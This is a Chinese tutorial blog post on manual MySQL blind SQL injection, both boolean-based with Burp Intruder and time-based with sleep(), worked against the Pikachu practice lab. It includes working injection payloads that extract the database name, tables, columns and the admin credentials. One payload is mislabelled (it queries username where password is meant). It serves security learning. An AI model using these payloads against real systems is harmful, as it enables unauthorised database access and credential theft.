Mysql手工盲注

admin 2022年4月23日08:42:51评论35 views字数 2797阅读9分19秒阅读模式

    本次注入文章不写专栏了,直蹦主题这次文章主要记录Boolian盲注配合burp最新打法和延时注入,为了尽量让小白看懂,所以写的时候加了好多详细的东西,比较啰嗦,请各位谅解哈。Mysql手工盲注

01


Mysql盲注

读者:哈?啥叫盲注?

Me:你自己去百度!

Me:开玩笑的开玩笑的Mysql手工盲注何为盲注?盲注就是在sql注入过程中,sql语句传入数据库查询后,被查询的数据因为某些原因不能正常回显到前端页面,这种情况只能通过页面返回的状态来可判定sql语句是否执行成功。

02


Boolian盲注_注入点确定

正常搜索框搜索数据

Mysql手工盲注

在参数后加入测试payload1

Mysql手工盲注

测试payload2

Mysql手工盲注

很熟悉的感觉对吧?那就常规套路试试(已用order by测试当前字段数为2)


Mysql手工盲注

没有回显哦!咋办?大佬的脑子里第一时间肯定不是盲注啊..这里先卖个关子,先盲注一波👇

03


Boolian盲注_获取数据

我在网上看到好多文章都是用ascii()substr()这两个函数来通过判断获取的ascii值来获取数据,很多小白虽然说能看懂,但是比较混乱..我这里记录一下这种比较易懂的方法。

技巧:
   1.因为盲注需要大量重复的步骤,所以可以利用burp的爆破模块来辅助,以下内容以“§a§”为爆破参数。
    2.因为是GET请求,所以payload需要url编码,介绍一个快速url编码的burp自带小插件,快捷键ctrl+u。

Mysql手工盲注


判断当前数据库名字的长度
' and length(database())=§a§--+

Mysql手工盲注

判断当前数据库名字的第一位字符

 ' and left(database(),1)='§a§'--+
解释:
    1.left的作用就是获取某个数据的第几个值,在通过大于/小于/等于来判断当前值
    2.判断当前数据库名字的第二位只需把left函数里的值改2,把已经爆破出来的每一位填上,如此类推就可以得知数据库名字了。

Mysql手工盲注

判断当前数据库第二位字符

' and left(database(),2)>'p§a§'--+

解释:
    1.把left函数里的1改为当前要注入的位数2
    2.注意要把前面盲注出来的第一个字符“p”填上 

Mysql手工盲注

重复该步骤爆破出当前数据库pikachu


爆破指定数据库第一个表名的第一位字符

' and left((select table_name from information_schema.tables where table_schema='pikachu' limit 0,1),1)='§a§'--+

Mysql手工盲注

结果:pikachu数据库第一个表的第一个字符是h

Mysql手工盲注

爆破指定数据库第一个表名的第二位字符

' and left((select table_name from information_schema.tables where table_schema='pikachu' limit 0,1),2)='h§a§'--+


Mysql手工盲注

结果:pikachu数据库第一个表的第二个字符是t

Mysql手工盲注


爆破指定数据库第二个表名的第一位字符

' and left((select table_name from information_schema.tables where table_schema='pikachu' limit 1,1),1)='§a§'--+

Mysql手工盲注

结果:pikachu数据库第二个表的第一个字符是m

Mysql手工盲注

通这种方法爆破出当前数据库的所有表(httpinfo,member,message,users,xssblind)

爆破users表里的第一个表头的第一位

' and left((select column_name from information_schema.columns where table_name="users" limit 0,1),1)='§a§'--+

解释:注入payload与上面同理,把利用left函数把前面查询出来的数据进行每一位的提取,然后再通过比较符来判断。

Mysql手工盲注

爆破users表里的第一个表头的第二位

' and left((select column_name from information_schema.columns where table_name="users" limit 0,1),2)='u§a§'--+

Mysql手工盲注

爆破users表里的第二个表头的第一位

' and left((select column_name from information_schema.columns where table_name="users" limit 1,1),1)='§a§'--+

Mysql手工盲注

爆破users表里的第二个表头的第二位

' and left((select column_name from information_schema.columns where table_name="users" limit 1,1),2)='f§a§'--+

Mysql手工盲注

根据这种方法可以列出所有表头,管理员信息存放在username,password

继续爆破username,password的内容

爆破表头username第一列的第一个字符

' and left((select username from users limit 0,1),1)='§a§'--+

Mysql手工盲注

爆破表头username第一列的第二个字符

' and left((select username from users limit 0,1),2)='a§a§'--+

Mysql手工盲注

爆破表头password第一列的第一个字符

' and left((select password from users limit 0,1),1)='§a§'--+


Mysql手工盲注

爆破表头password第一列的第二个字符

' and left((select username from users limit 0,1),2)='e§a§'--+

Mysql手工盲注

根据方法把管理员信息爆破出来后放到md5解密

账号:admin

密码:123456

Mysql手工盲注

04


时间盲注

延时注入其实就是盲注的一种方式,区别如下:

盲注:根据页面返回信息判断注入语句是否成立

延时注入:根据服务器返回时间确定注入语句是否成立

05


时间盲注的核心内容介绍

普通搜索框搜索内容

Mysql手工盲注

输入特殊字符以及其它各种payload,发现返回结果都一样

Mysql手工盲注

直接插入延时注入payload尝试是否存在注入

' and sleep(3)#

Mysql手工盲注

判断当前数据库名长度

'and if(length(database())=1,1,sleep(3))#

Mysql手工盲注

根据返回时间来确定语句是否成立

成立:正常返回

不成立:休眠三秒

'and if(length(database())=7,1,sleep(0.5))#

Mysql手工盲注

06


欠揍压轴系列

前面卖了那个关子呀,是时候来买单了。

Mysql手工盲注

没有回显怎么办?搜索一个不存在的id在错误页面回显不就完了吗。

Mysql手工盲注

是不是很迷,哈哈别打我

Mysql手工盲注

!声明:本文章纯属于个人学习笔记,仅提供学习交流,请各位熟读网络法切勿违法犯罪。

本文始发于微信公众号(Khan安全攻防实验室):Mysql手工盲注

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月23日08:42:51
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Mysql手工盲注http://cn-sec.com/archives/535507.html

发表评论

匿名网友 填写信息